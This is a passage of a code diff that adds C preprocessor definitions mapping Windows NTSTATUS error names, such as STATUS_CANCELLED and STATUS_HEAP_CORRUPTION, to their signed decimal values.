STATUS_RXACT_COMMIT_FAILURE -1073741539 +#define STATUS_MAPPED_FILE_SIZE_ZERO -1073741538 +#define STATUS_TOO_MANY_OPENED_FILES -1073741537 +#define STATUS_CANCELLED -1073741536 +#define STATUS_CANNOT_DELETE -1073741535 +#define STATUS_INVALID_COMPUTER_NAME -1073741534 +#define STATUS_FILE_DELETED -1073741533 +#define STATUS_SPECIAL_ACCOUNT -1073741532 +#define STATUS_SPECIAL_GROUP -1073741531 +#define STATUS_SPECIAL_USER -1073741530 +#define STATUS_MEMBERS_PRIMARY_GROUP -1073741529 +#define STATUS_FILE_CLOSED -1073741528 +#define STATUS_TOO_MANY_THREADS -1073741527 +#define STATUS_THREAD_NOT_IN_PROCESS -1073741526 +#define STATUS_TOKEN_ALREADY_IN_USE -1073741525 +#define STATUS_PAGEFILE_QUOTA_EXCEEDED -1073741524 +#define STATUS_COMMITMENT_LIMIT -1073741523 +#define STATUS_INVALID_IMAGE_LE_FORMAT -1073741522 +#define STATUS_INVALID_IMAGE_NOT_MZ -1073741521 +#define STATUS_INVALID_IMAGE_PROTECT -1073741520 +#define STATUS_INVALID_IMAGE_WIN_16 -1073741519 +#define STATUS_LOGON_SERVER_CONFLICT -1073741518 +#define STATUS_TIME_DIFFERENCE_AT_DC -1073741517 +#define STATUS_SYNCHRONIZATION_REQUIRED -1073741516 +#define STATUS_DLL_NOT_FOUND -1073741515 +#define STATUS_OPEN_FAILED -1073741514 +#define STATUS_IO_PRIVILEGE_FAILED -1073741513 +#define STATUS_ORDINAL_NOT_FOUND -1073741512 +#define STATUS_ENTRYPOINT_NOT_FOUND -1073741511 +#define STATUS_CONTROL_C_EXIT -1073741510 +#define STATUS_LOCAL_DISCONNECT -1073741509 +#define STATUS_REMOTE_DISCONNECT -1073741508 +#define STATUS_REMOTE_RESOURCES -1073741507 +#define STATUS_LINK_FAILED -1073741506 +#define STATUS_LINK_TIMEOUT -1073741505 +#define STATUS_INVALID_CONNECTION -1073741504 +#define STATUS_INVALID_ADDRESS -1073741503 +#define STATUS_DLL_INIT_FAILED -1073741502 +#define STATUS_MISSING_SYSTEMFILE -1073741501 +#define STATUS_UNHANDLED_EXCEPTION -1073741500 +#define STATUS_APP_INIT_FAILURE -1073741499 +#define STATUS_PAGEFILE_CREATE_FAILED -1073741498 +#define STATUS_NO_PAGEFILE -1073741497 +#define STATUS_INVALID_LEVEL -1073741496 +#define STATUS_WRONG_PASSWORD_CORE -1073741495 +#define STATUS_ILLEGAL_FLOAT_CONTEXT -1073741494 +#define STATUS_PIPE_BROKEN -1073741493 +#define STATUS_REGISTRY_CORRUPT -1073741492 +#define STATUS_REGISTRY_IO_FAILED -1073741491 +#define STATUS_NO_EVENT_PAIR -1073741490 +#define STATUS_UNRECOGNIZED_VOLUME -1073741489 +#define STATUS_SERIAL_NO_DEVICE_INITED -1073741488 +#define STATUS_NO_SUCH_ALIAS -1073741487 +#define STATUS_MEMBER_NOT_IN_ALIAS -1073741486 +#define STATUS_MEMBER_IN_ALIAS -1073741485 +#define STATUS_ALIAS_EXISTS -1073741484 +#define STATUS_LOGON_NOT_GRANTED -1073741483 +#define STATUS_TOO_MANY_SECRETS -1073741482 +#define STATUS_SECRET_TOO_LONG -1073741481 +#define STATUS_INTERNAL_DB_ERROR -1073741480 +#define STATUS_FULLSCREEN_MODE -1073741479 +#define STATUS_TOO_MANY_CONTEXT_IDS -1073741478 +#define STATUS_NOT_REGISTRY_FILE -1073741476 +#define STATUS_NT_CROSS_ENCRYPTION_REQUIRED -1073741475 +#define STATUS_DOMAIN_CTRLR_CONFIG_ERROR -1073741474 +#define STATUS_FT_MISSING_MEMBER -1073741473 +#define STATUS_ILL_FORMED_SERVICE_ENTRY -1073741472 +#define STATUS_ILLEGAL_CHARACTER -1073741471 +#define STATUS_UNMAPPABLE_CHARACTER -1073741470 +#define STATUS_UNDEFINED_CHARACTER -1073741469 +#define STATUS_FLOPPY_VOLUME -1073741468 +#define STATUS_FLOPPY_ID_MARK_NOT_FOUND -1073741467 +#define STATUS_FLOPPY_WRONG_CYLINDER -1073741466 +#define STATUS_FLOPPY_UNKNOWN_ERROR -1073741465 +#define STATUS_FLOPPY_BAD_REGISTERS -1073741464 +#define STATUS_DISK_RECALIBRATE_FAILED -1073741463 +#define STATUS_DISK_OPERATION_FAILED -1073741462 +#define STATUS_DISK_RESET_FAILED -1073741461 +#define STATUS_SHARED_IRQ_BUSY -1073741460 +#define STATUS_FT_ORPHANING -1073741459 +#define STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT -1073741458 +#define STATUS_PARTITION_FAILURE -1073741454 +#define STATUS_INVALID_BLOCK_LENGTH -1073741453 +#define STATUS_DEVICE_NOT_PARTITIONED -1073741452 +#define STATUS_UNABLE_TO_LOCK_MEDIA -1073741451 +#define STATUS_UNABLE_TO_UNLOAD_MEDIA -1073741450 +#define STATUS_EOM_OVERFLOW -1073741449 +#define STATUS_NO_MEDIA -1073741448 +#define STATUS_NO_SUCH_MEMBER -1073741446 +#define STATUS_INVALID_MEMBER -1073741445 +#define STATUS_KEY_DELETED -1073741444 +#define STATUS_NO_LOG_SPACE -1073741443 +#define STATUS_TOO_MANY_SIDS -1073741442 +#define STATUS_LM_CROSS_ENCRYPTION_REQUIRED -1073741441 +#define STATUS_KEY_HAS_CHILDREN -1073741440 +#define STATUS_CHILD_MUST_BE_VOLATILE -1073741439 +#define STATUS_DEVICE_CONFIGURATION_ERROR -1073741438 +#define STATUS_DRIVER_INTERNAL_ERROR -1073741437 +#define STATUS_INVALID_DEVICE_STATE -1073741436 +#define STATUS_IO_DEVICE_ERROR -1073741435 +#define STATUS_DEVICE_PROTOCOL_ERROR -1073741434 +#define STATUS_BACKUP_CONTROLLER -1073741433 +#define STATUS_LOG_FILE_FULL -1073741432 +#define STATUS_TOO_LATE -1073741431 +#define STATUS_NO_TRUST_LSA_SECRET -1073741430 +#define STATUS_NO_TRUST_SAM_ACCOUNT -1073741429 +#define STATUS_TRUSTED_DOMAIN_FAILURE -1073741428 +#define STATUS_TRUSTED_RELATIONSHIP_FAILURE -1073741427 +#define STATUS_EVENTLOG_FILE_CORRUPT -1073741426 +#define STATUS_EVENTLOG_CANT_START -1073741425 +#define STATUS_TRUST_FAILURE -1073741424 +#define STATUS_MUTANT_LIMIT_EXCEEDED -1073741423 +#define STATUS_NETLOGON_NOT_STARTED -1073741422 +#define STATUS_POSSIBLE_DEADLOCK -1073741420 +#define STATUS_NETWORK_CREDENTIAL_CONFLICT -1073741419 +#define STATUS_REMOTE_SESSION_LIMIT -1073741418 +#define STATUS_EVENTLOG_FILE_CHANGED -1073741417 +#define STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT -1073741416 +#define STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT -1073741415 +#define STATUS_NOLOGON_SERVER_TRUST_ACCOUNT -1073741414 +#define STATUS_DOMAIN_TRUST_INCONSISTENT -1073741413 +#define STATUS_FS_DRIVER_REQUIRED -1073741412 +#define STATUS_IMAGE_ALREADY_LOADED_AS_DLL -1073741411 +#define STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING -1073741410 +#define STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME -1073741409 +#define STATUS_SECURITY_STREAM_IS_INCONSISTENT -1073741408 +#define STATUS_INVALID_LOCK_RANGE -1073741407 +#define STATUS_INVALID_ACE_CONDITION -1073741406 +#define STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT -1073741405 +#define STATUS_NOTIFICATION_GUID_ALREADY_DEFINED -1073741404 +#define STATUS_INVALID_EXCEPTION_HANDLER -1073741403 +#define STATUS_DUPLICATE_PRIVILEGES -1073741402 +#define STATUS_NOT_ALLOWED_ON_SYSTEM_FILE -1073741401 +#define STATUS_REPAIR_NEEDED -1073741400 +#define STATUS_QUOTA_NOT_ENABLED -1073741399 +#define STATUS_NO_APPLICATION_PACKAGE -1073741398 +#define STATUS_FILE_METADATA_OPTIMIZATION_IN_PROGRESS -1073741397 +#define STATUS_NOT_SAME_OBJECT -1073741396 +#define STATUS_FATAL_MEMORY_EXHAUSTION -1073741395 +#define STATUS_ERROR_PROCESS_NOT_IN_JOB -1073741394 +#define STATUS_CPU_SET_INVALID -1073741393 +#define STATUS_IO_DEVICE_INVALID_DATA -1073741392 +#define STATUS_IO_UNALIGNED_WRITE -1073741391 +#define STATUS_CONTROL_STACK_VIOLATION -1073741390 +#define STATUS_WEAK_WHFBKEY_BLOCKED -1073741389 +#define STATUS_SERVER_TRANSPORT_CONFLICT -1073741388 +#define STATUS_CERTIFICATE_VALIDATION_PREFERENCE_CONFLICT -1073741387 +#define STATUS_DEVICE_RESET_REQUIRED -2147483210 +#define STATUS_NETWORK_OPEN_RESTRICTION -1073741311 +#define STATUS_NO_USER_SESSION_KEY -1073741310 +#define STATUS_USER_SESSION_DELETED -1073741309 +#define STATUS_RESOURCE_LANG_NOT_FOUND -1073741308 +#define STATUS_INSUFF_SERVER_RESOURCES -1073741307 +#define STATUS_INVALID_BUFFER_SIZE -1073741306 +#define STATUS_INVALID_ADDRESS_COMPONENT -1073741305 +#define STATUS_INVALID_ADDRESS_WILDCARD -1073741304 +#define STATUS_TOO_MANY_ADDRESSES -1073741303 +#define STATUS_ADDRESS_ALREADY_EXISTS -1073741302 +#define STATUS_ADDRESS_CLOSED -1073741301 +#define STATUS_CONNECTION_DISCONNECTED -1073741300 +#define STATUS_CONNECTION_RESET -1073741299 +#define STATUS_TOO_MANY_NODES -1073741298 +#define STATUS_TRANSACTION_ABORTED -1073741297 +#define STATUS_TRANSACTION_TIMED_OUT -1073741296 +#define STATUS_TRANSACTION_NO_RELEASE -1073741295 +#define STATUS_TRANSACTION_NO_MATCH -1073741294 +#define STATUS_TRANSACTION_RESPONDED -1073741293 +#define STATUS_TRANSACTION_INVALID_ID -1073741292 +#define STATUS_TRANSACTION_INVALID_TYPE -1073741291 +#define STATUS_NOT_SERVER_SESSION -1073741290 +#define STATUS_NOT_CLIENT_SESSION -1073741289 +#define STATUS_CANNOT_LOAD_REGISTRY_FILE -1073741288 +#define STATUS_DEBUG_ATTACH_FAILED -1073741287 +#define STATUS_SYSTEM_PROCESS_TERMINATED -1073741286 +#define STATUS_DATA_NOT_ACCEPTED -1073741285 +#define STATUS_NO_BROWSER_SERVERS_FOUND -1073741284 +#define STATUS_VDM_HARD_ERROR -1073741283 +#define STATUS_DRIVER_CANCEL_TIMEOUT -1073741282 +#define STATUS_REPLY_MESSAGE_MISMATCH -1073741281 +#define STATUS_MAPPED_ALIGNMENT -1073741280 +#define STATUS_IMAGE_CHECKSUM_MISMATCH -1073741279 +#define STATUS_LOST_WRITEBEHIND_DATA -1073741278 +#define STATUS_CLIENT_SERVER_PARAMETERS_INVALID -1073741277 +#define STATUS_NOT_FOUND -1073741275 +#define STATUS_NOT_TINY_STREAM -1073741274 +#define STATUS_RECOVERY_FAILURE -1073741273 +#define STATUS_STACK_OVERFLOW_READ -1073741272 +#define STATUS_FAIL_CHECK -1073741271 +#define STATUS_DUPLICATE_OBJECTID -1073741270 +#define STATUS_OBJECTID_EXISTS -1073741269 +#define STATUS_CONVERT_TO_LARGE -1073741268 +#define STATUS_RETRY -1073741267 +#define STATUS_FOUND_OUT_OF_SCOPE -1073741266 +#define STATUS_ALLOCATE_BUCKET -1073741265 +#define STATUS_PROPSET_NOT_FOUND -1073741264 +#define STATUS_MARSHALL_OVERFLOW -1073741263 +#define STATUS_INVALID_VARIANT -1073741262 +#define STATUS_DOMAIN_CONTROLLER_NOT_FOUND -1073741261 +#define STATUS_HANDLE_NOT_CLOSABLE -1073741259 +#define STATUS_CONNECTION_REFUSED -1073741258 +#define STATUS_GRACEFUL_DISCONNECT -1073741257 +#define STATUS_ADDRESS_ALREADY_ASSOCIATED -1073741256 +#define STATUS_ADDRESS_NOT_ASSOCIATED -1073741255 +#define STATUS_CONNECTION_INVALID -1073741254 +#define STATUS_CONNECTION_ACTIVE -1073741253 +#define STATUS_NETWORK_UNREACHABLE -1073741252 +#define STATUS_HOST_UNREACHABLE -1073741251 +#define STATUS_PROTOCOL_UNREACHABLE -1073741250 +#define STATUS_PORT_UNREACHABLE -1073741249 +#define STATUS_REQUEST_ABORTED -1073741248 +#define STATUS_CONNECTION_ABORTED -1073741247 +#define STATUS_BAD_COMPRESSION_BUFFER -1073741246 +#define STATUS_USER_MAPPED_FILE -1073741245 +#define STATUS_AUDIT_FAILED -1073741244 +#define STATUS_TIMER_RESOLUTION_NOT_SET -1073741243 +#define STATUS_CONNECTION_COUNT_LIMIT -1073741242 +#define STATUS_LOGIN_TIME_RESTRICTION -1073741241 +#define STATUS_LOGIN_WKSTA_RESTRICTION -1073741240 +#define STATUS_IMAGE_MP_UP_MISMATCH -1073741239 +#define STATUS_INSUFFICIENT_LOGON_INFO -1073741232 +#define STATUS_BAD_DLL_ENTRYPOINT -1073741231 +#define STATUS_BAD_SERVICE_ENTRYPOINT -1073741230 +#define STATUS_LPC_REPLY_LOST -1073741229 +#define STATUS_IP_ADDRESS_CONFLICT1 -1073741228 +#define STATUS_IP_ADDRESS_CONFLICT2 -1073741227 +#define STATUS_REGISTRY_QUOTA_LIMIT -1073741226 +#define STATUS_PATH_NOT_COVERED -1073741225 +#define STATUS_NO_CALLBACK_ACTIVE -1073741224 +#define STATUS_LICENSE_QUOTA_EXCEEDED -1073741223 +#define STATUS_PWD_TOO_SHORT -1073741222 +#define STATUS_PWD_TOO_RECENT -1073741221 +#define STATUS_PWD_HISTORY_CONFLICT -1073741220 +#define STATUS_PLUGPLAY_NO_DEVICE -1073741218 +#define STATUS_UNSUPPORTED_COMPRESSION -1073741217 +#define STATUS_INVALID_HW_PROFILE -1073741216 +#define STATUS_INVALID_PLUGPLAY_DEVICE_PATH -1073741215 +#define STATUS_DRIVER_ORDINAL_NOT_FOUND -1073741214 +#define STATUS_DRIVER_ENTRYPOINT_NOT_FOUND -1073741213 +#define STATUS_RESOURCE_NOT_OWNED -1073741212 +#define STATUS_TOO_MANY_LINKS -1073741211 +#define STATUS_QUOTA_LIST_INCONSISTENT -1073741210 +#define STATUS_FILE_IS_OFFLINE -1073741209 +#define STATUS_EVALUATION_EXPIRATION -1073741208 +#define STATUS_ILLEGAL_DLL_RELOCATION -1073741207 +#define STATUS_LICENSE_VIOLATION -1073741206 +#define STATUS_DLL_INIT_FAILED_LOGOFF -1073741205 +#define STATUS_DRIVER_UNABLE_TO_LOAD -1073741204 +#define STATUS_DFS_UNAVAILABLE -1073741203 +#define STATUS_VOLUME_DISMOUNTED -1073741202 +#define STATUS_WX86_INTERNAL_ERROR -1073741201 +#define STATUS_WX86_FLOAT_STACK_CHECK -1073741200 +#define STATUS_VALIDATE_CONTINUE -1073741199 +#define STATUS_NO_MATCH -1073741198 +#define STATUS_NO_MORE_MATCHES -1073741197 +#define STATUS_NOT_A_REPARSE_POINT -1073741195 +#define STATUS_IO_REPARSE_TAG_INVALID -1073741194 +#define STATUS_IO_REPARSE_TAG_MISMATCH -1073741193 +#define STATUS_IO_REPARSE_DATA_INVALID -1073741192 +#define STATUS_IO_REPARSE_TAG_NOT_HANDLED -1073741191 +#define STATUS_PWD_TOO_LONG -1073741190 +#define STATUS_STOWED_EXCEPTION -1073741189 +#define STATUS_CONTEXT_STOWED_EXCEPTION -1073741188 +#define STATUS_REPARSE_POINT_NOT_RESOLVED -1073741184 +#define STATUS_DIRECTORY_IS_A_REPARSE_POINT -1073741183 +#define STATUS_RANGE_LIST_CONFLICT -1073741182 +#define STATUS_SOURCE_ELEMENT_EMPTY -1073741181 +#define STATUS_DESTINATION_ELEMENT_FULL -1073741180 +#define STATUS_ILLEGAL_ELEMENT_ADDRESS -1073741179 +#define STATUS_MAGAZINE_NOT_PRESENT -1073741178 +#define STATUS_REINITIALIZATION_NEEDED -1073741177 +#define STATUS_DEVICE_REQUIRES_CLEANING -2147483000 +#define STATUS_DEVICE_DOOR_OPEN -2147482999 +#define STATUS_ENCRYPTION_FAILED -1073741174 +#define STATUS_DECRYPTION_FAILED -1073741173 +#define STATUS_RANGE_NOT_FOUND -1073741172 +#define STATUS_NO_RECOVERY_POLICY -1073741171 +#define STATUS_NO_EFS -1073741170 +#define STATUS_WRONG_EFS -1073741169 +#define STATUS_NO_USER_KEYS -1073741168 +#define STATUS_FILE_NOT_ENCRYPTED -1073741167 +#define STATUS_NOT_EXPORT_FORMAT -1073741166 +#define STATUS_FILE_ENCRYPTED -1073741165 +#define STATUS_WAKE_SYSTEM 1073742484 +#define STATUS_WMI_GUID_NOT_FOUND -1073741163 +#define STATUS_WMI_INSTANCE_NOT_FOUND -1073741162 +#define STATUS_WMI_ITEMID_NOT_FOUND -1073741161 +#define STATUS_WMI_TRY_AGAIN -1073741160 +#define STATUS_SHARED_POLICY -1073741159 +#define STATUS_POLICY_OBJECT_NOT_FOUND -1073741158 +#define STATUS_POLICY_ONLY_IN_DS -1073741157 +#define STATUS_VOLUME_NOT_UPGRADED -1073741156 +#define STATUS_REMOTE_STORAGE_NOT_ACTIVE -1073741155 +#define STATUS_REMOTE_STORAGE_MEDIA_ERROR -1073741154 +#define STATUS_NO_TRACKING_SERVICE -1073741153 +#define STATUS_SERVER_SID_MISMATCH -1073741152 +#define STATUS_DS_NO_ATTRIBUTE_OR_VALUE -1073741151 +#define STATUS_DS_INVALID_ATTRIBUTE_SYNTAX -1073741150 +#define STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED -1073741149 +#define STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS -1073741148 +#define STATUS_DS_BUSY -1073741147 +#define STATUS_DS_UNAVAILABLE -1073741146 +#define STATUS_DS_NO_RIDS_ALLOCATED -1073741145 +#define STATUS_DS_NO_MORE_RIDS -1073741144 +#define STATUS_DS_INCORRECT_ROLE_OWNER -1073741143 +#define STATUS_DS_RIDMGR_INIT_ERROR -1073741142 +#define STATUS_DS_OBJ_CLASS_VIOLATION -1073741141 +#define STATUS_DS_CANT_ON_NON_LEAF -1073741140 +#define STATUS_DS_CANT_ON_RDN -1073741139 +#define STATUS_DS_CANT_MOD_OBJ_CLASS -1073741138 +#define STATUS_DS_CROSS_DOM_MOVE_FAILED -1073741137 +#define STATUS_DS_GC_NOT_AVAILABLE -1073741136 +#define STATUS_DIRECTORY_SERVICE_REQUIRED -1073741135 +#define STATUS_REPARSE_ATTRIBUTE_CONFLICT -1073741134 +#define STATUS_CANT_ENABLE_DENY_ONLY -1073741133 +#define STATUS_FLOAT_MULTIPLE_FAULTS -1073741132 +#define STATUS_FLOAT_MULTIPLE_TRAPS -1073741131 +#define STATUS_DEVICE_REMOVED -1073741130 +#define STATUS_JOURNAL_DELETE_IN_PROGRESS -1073741129 +#define STATUS_JOURNAL_NOT_ACTIVE -1073741128 +#define STATUS_NOINTERFACE -1073741127 +#define STATUS_DS_RIDMGR_DISABLED -1073741126 +#define STATUS_DS_ADMIN_LIMIT_EXCEEDED -1073741119 +#define STATUS_DRIVER_FAILED_SLEEP -1073741118 +#define STATUS_MUTUAL_AUTHENTICATION_FAILED -1073741117 +#define STATUS_CORRUPT_SYSTEM_FILE -1073741116 +#define STATUS_DATATYPE_MISALIGNMENT_ERROR -1073741115 +#define STATUS_WMI_READ_ONLY -1073741114 +#define STATUS_WMI_SET_FAILURE -1073741113 +#define STATUS_COMMITMENT_MINIMUM -1073741112 +#define STATUS_REG_NAT_CONSUMPTION -1073741111 +#define STATUS_TRANSPORT_FULL -1073741110 +#define STATUS_DS_SAM_INIT_FAILURE -1073741109 +#define STATUS_ONLY_IF_CONNECTED -1073741108 +#define STATUS_DS_SENSITIVE_GROUP_VIOLATION -1073741107 +#define STATUS_PNP_RESTART_ENUMERATION -1073741106 +#define STATUS_JOURNAL_ENTRY_DELETED -1073741105 +#define STATUS_DS_CANT_MOD_PRIMARYGROUPID -1073741104 +#define STATUS_SYSTEM_IMAGE_BAD_SIGNATURE -1073741103 +#define STATUS_PNP_REBOOT_REQUIRED -1073741102 +#define STATUS_POWER_STATE_INVALID -1073741101 +#define STATUS_DS_INVALID_GROUP_TYPE -1073741100 +#define STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN -1073741099 +#define STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN -1073741098 +#define STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER -1073741097 +#define STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER -1073741096 +#define STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER -1073741095 +#define STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER -1073741094 +#define STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER -1073741093 +#define STATUS_DS_HAVE_PRIMARY_MEMBERS -1073741092 +#define STATUS_WMI_NOT_SUPPORTED -1073741091 +#define STATUS_INSUFFICIENT_POWER -1073741090 +#define STATUS_SAM_NEED_BOOTKEY_PASSWORD -1073741089 +#define STATUS_SAM_NEED_BOOTKEY_FLOPPY -1073741088 +#define STATUS_DS_CANT_START -1073741087 +#define STATUS_DS_INIT_FAILURE -1073741086 +#define STATUS_SAM_INIT_FAILURE -1073741085 +#define STATUS_DS_GC_REQUIRED -1073741084 +#define STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY -1073741083 +#define STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS -1073741082 +#define STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED -1073741081 +#define STATUS_MULTIPLE_FAULT_VIOLATION -1073741080 +#define STATUS_CURRENT_DOMAIN_NOT_ALLOWED -1073741079 +#define STATUS_CANNOT_MAKE -1073741078 +#define STATUS_SYSTEM_SHUTDOWN -1073741077 +#define STATUS_DS_INIT_FAILURE_CONSOLE -1073741076 +#define STATUS_DS_SAM_INIT_FAILURE_CONSOLE -1073741075 +#define STATUS_UNFINISHED_CONTEXT_DELETED -1073741074 +#define STATUS_NO_TGT_REPLY -1073741073 +#define STATUS_OBJECTID_NOT_FOUND -1073741072 +#define STATUS_NO_IP_ADDRESSES -1073741071 +#define STATUS_WRONG_CREDENTIAL_HANDLE -1073741070 +#define STATUS_CRYPTO_SYSTEM_INVALID -1073741069 +#define STATUS_MAX_REFERRALS_EXCEEDED -1073741068 +#define STATUS_MUST_BE_KDC -1073741067 +#define STATUS_STRONG_CRYPTO_NOT_SUPPORTED -1073741066 +#define STATUS_TOO_MANY_PRINCIPALS -1073741065 +#define STATUS_NO_PA_DATA -1073741064 +#define STATUS_PKINIT_NAME_MISMATCH -1073741063 +#define STATUS_SMARTCARD_LOGON_REQUIRED -1073741062 +#define STATUS_KDC_INVALID_REQUEST -1073741061 +#define STATUS_KDC_UNABLE_TO_REFER -1073741060 +#define STATUS_KDC_UNKNOWN_ETYPE -1073741059 +#define STATUS_SHUTDOWN_IN_PROGRESS -1073741058 +#define STATUS_SERVER_SHUTDOWN_IN_PROGRESS -1073741057 +#define STATUS_NOT_SUPPORTED_ON_SBS -1073741056 +#define STATUS_WMI_GUID_DISCONNECTED -1073741055 +#define STATUS_WMI_ALREADY_DISABLED -1073741054 +#define STATUS_WMI_ALREADY_ENABLED -1073741053 +#define STATUS_MFT_TOO_FRAGMENTED -1073741052 +#define STATUS_COPY_PROTECTION_FAILURE -1073741051 +#define STATUS_CSS_AUTHENTICATION_FAILURE -1073741050 +#define STATUS_CSS_KEY_NOT_PRESENT -1073741049 +#define STATUS_CSS_KEY_NOT_ESTABLISHED -1073741048 +#define STATUS_CSS_SCRAMBLED_SECTOR -1073741047 +#define STATUS_CSS_REGION_MISMATCH -1073741046 +#define STATUS_CSS_RESETS_EXHAUSTED -1073741045 +#define STATUS_PASSWORD_CHANGE_REQUIRED -1073741044 +#define STATUS_LOST_MODE_LOGON_RESTRICTION -1073741043 +#define STATUS_PKINIT_FAILURE -1073741024 +#define STATUS_SMARTCARD_SUBSYSTEM_FAILURE -1073741023 +#define STATUS_NO_KERB_KEY -1073741022 +#define STATUS_HOST_DOWN -1073740976 +#define STATUS_UNSUPPORTED_PREAUTH -1073740975 +#define STATUS_EFS_ALG_BLOB_TOO_BIG -1073740974 +#define STATUS_PORT_NOT_SET -1073740973 +#define STATUS_DEBUGGER_INACTIVE -1073740972 +#define STATUS_DS_VERSION_CHECK_FAILURE -1073740971 +#define STATUS_AUDITING_DISABLED -1073740970 +#define STATUS_PRENT4_MACHINE_ACCOUNT -1073740969 +#define STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER -1073740968 +#define STATUS_INVALID_IMAGE_WIN_32 -1073740967 +#define STATUS_INVALID_IMAGE_WIN_64 -1073740966 +#define STATUS_BAD_BINDINGS -1073740965 +#define STATUS_NETWORK_SESSION_EXPIRED -1073740964 +#define STATUS_APPHELP_BLOCK -1073740963 +#define STATUS_ALL_SIDS_FILTERED -1073740962 +#define STATUS_NOT_SAFE_MODE_DRIVER -1073740961 +#define STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT -1073740959 +#define STATUS_ACCESS_DISABLED_BY_POLICY_PATH -1073740958 +#define STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER -1073740957 +#define STATUS_ACCESS_DISABLED_BY_POLICY_OTHER -1073740956 +#define STATUS_FAILED_DRIVER_ENTRY -1073740955 +#define STATUS_DEVICE_ENUMERATION_ERROR -1073740954 +#define STATUS_MOUNT_POINT_NOT_RESOLVED -1073740952 +#define STATUS_INVALID_DEVICE_OBJECT_PARAMETER -1073740951 +#define STATUS_MCA_OCCURED -1073740950 +#define STATUS_DRIVER_BLOCKED_CRITICAL -1073740949 +#define STATUS_DRIVER_BLOCKED -1073740948 +#define STATUS_DRIVER_DATABASE_ERROR -1073740947 +#define STATUS_SYSTEM_HIVE_TOO_LARGE -1073740946 +#define STATUS_INVALID_IMPORT_OF_NON_DLL -1073740945 +#define STATUS_DS_SHUTTING_DOWN 1073742704 +#define STATUS_NO_SECRETS -1073740943 +#define STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY -1073740942 +#define STATUS_FAILED_STACK_SWITCH -1073740941 +#define STATUS_HEAP_CORRUPTION -1073740940 +#define STATUS_SMARTCARD_WRONG_PIN -1073740928 +#define STATUS_SMARTCARD_CARD_BLOCKED -1073740927 +#define STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED -1073740926 +#define STATUS_SMARTCARD_NO_CARD -1073740925 +#define STATUS_SMARTCARD_NO_KEY_CONTAINER -1073740924 +#define STATUS_SMARTCARD_NO_CERTIFICATE -1073740923 +#define STATUS_SMARTCARD_NO_KEYSET -1073740922 +#define STATUS_SMARTCARD_IO_ERROR -1073740921 +#define STATUS_SMARTCARD_CERT_REVOKED -1073740919 +#define STATUS_ISSUING_CA_UNTRUSTED -1073740918 +#define STATUS_REVOCATION_OFFLINE_C -1073740917 +#define STATUS_PKINIT_CLIENT_FAILURE -1073740916 +#define STATUS_SMARTCARD_CERT_EXPIRED -1073740915 +#define STATUS_DRIVER_FAILED_PRIOR_UNLOAD -1073740914 +#define STATUS_SMARTCARD_SILENT_CONTEXT -1073740913 +#define STATUS_PER_USER_TRUST_QUOTA_EXCEEDED -1073740799 +#define STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED -1073740798 +#define STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED -1073740797 +#define STATUS_DS_NAME_NOT_UNIQUE -1073740796 +#define STATUS_DS_DUPLICATE_ID_FOUND -1073740795 +#define STATUS_DS_GROUP_CONVERSION_ERROR -1073740794 +#define STATUS_VOLSNAP_PREPARE_HIBERNATE -1073740793 +#define STATUS_USER2USER_REQUIRED -1073740792 +#define STATUS_STACK_BUFFER_OVERRUN -1073740791 +#define STATUS_NO_S4U_PROT_SUPPORT -1073740790 +#define STATUS_CROSSREALM_DELEGATION_FAILURE -1073740789 +#define STATUS_REVOCATION_OFFLINE_KDC -1073740788 +#define STATUS_ISSUING_CA_UNTRUSTED_KDC -1073740787 +#define STATUS_KDC_CERT_EXPIRED -1073740786 +#define STATUS_KDC_CERT_REVOKED -1073740785 +#define STATUS_PARAMETER_QUOTA_EXCEEDED -1073740784 +#define STATUS_HIBERNATION_FAILURE -1073740783 +#define STATUS_DELAY_LOAD_FAILED -1073740782 +#define STATUS_VDM_DISALLOWED -1073740780 +#define STATUS_HUNG_DISPLAY_DRIVER_THREAD -1073740779 +#define STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE -1073740778 +#define STATUS_INVALID_CRUNTIME_PARAMETER -1073740777 +#define STATUS_NTLM_BLOCKED -1073740776 +#define STATUS_DS_SRC_SID_EXISTS_IN_FOREST -1073740775 +#define STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST -1073740774 +#define STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST -1073740773 +#define STATUS_INVALID_USER_PRINCIPAL_NAME -1073740772 +#define STATUS_FATAL_USER_CALLBACK_EXCEPTION -1073740771 +#define STATUS_ASSERTION_FAILURE -1073740768 +#define STATUS_VERIFIER_STOP -1073740767 +#define STATUS_CALLBACK_POP_STACK -1073740765 +#define STATUS_INCOMPATIBLE_DRIVER_BLOCKED -1073740764 +#define STATUS_HIVE_UNLOADED -1073740763 +#define STATUS_COMPRESSION_DISABLED -1073740762 +#define STATUS_FILE_SYSTEM_LIMITATION -1073740761 +#define STATUS_INVALID_IMAGE_HASH -1073740760 +#define STATUS_NOT_CAPABLE -1073740759 +#define STATUS_REQUEST_OUT_OF_SEQUENCE -1073740758 +#define STATUS_IMPLEMENTATION_LIMIT -1073740757 +#define 